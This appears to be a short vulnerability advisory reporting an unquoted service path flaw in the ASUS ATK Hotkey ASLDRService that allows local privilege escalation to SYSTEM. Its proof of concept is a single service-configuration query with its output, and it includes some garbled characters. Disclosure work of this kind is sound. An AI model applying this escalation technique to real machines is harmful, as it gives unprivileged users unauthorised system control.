ASLDRService ATK Hotkey 1.0.69.0 Privilege Escalation

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# Exploit Title: ASLDRService ATK Hotkey- Privilege Escalation Unquoted Service Path  
# Date: 13/10/2016  
# Exploit Author : Cyril Vallicari  
# Vendor Homepage: www.asus.com  
# Version: 1.0.69.0  
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)  
  
The application suffers from an unquoted service path issue impacting the service 'ASLDRService' deployed as part of ATK Hotkey  
This could potentially allow an authorized but non-privileged local user to execute arbitrary code witystem privileges on the system.  
  
POC :  
  
  
C:\Users\Utilisateur>sc qc ASLDRService  
[SC] QueryServiceConfig rA(c)ussite(s)  
  
SERVICE_NAME: ASLDRService  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\ASLDRSrv.exe  
LOAD_ORDER_GROUP : ShellSvcGroup  
TAG : 0  
DISPLAY_NAME : ASLDR Service  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
  
Additional notes :  
  
https://hackerone.com/blog/asus-vulnerability-disclosure-deja-vu  
  
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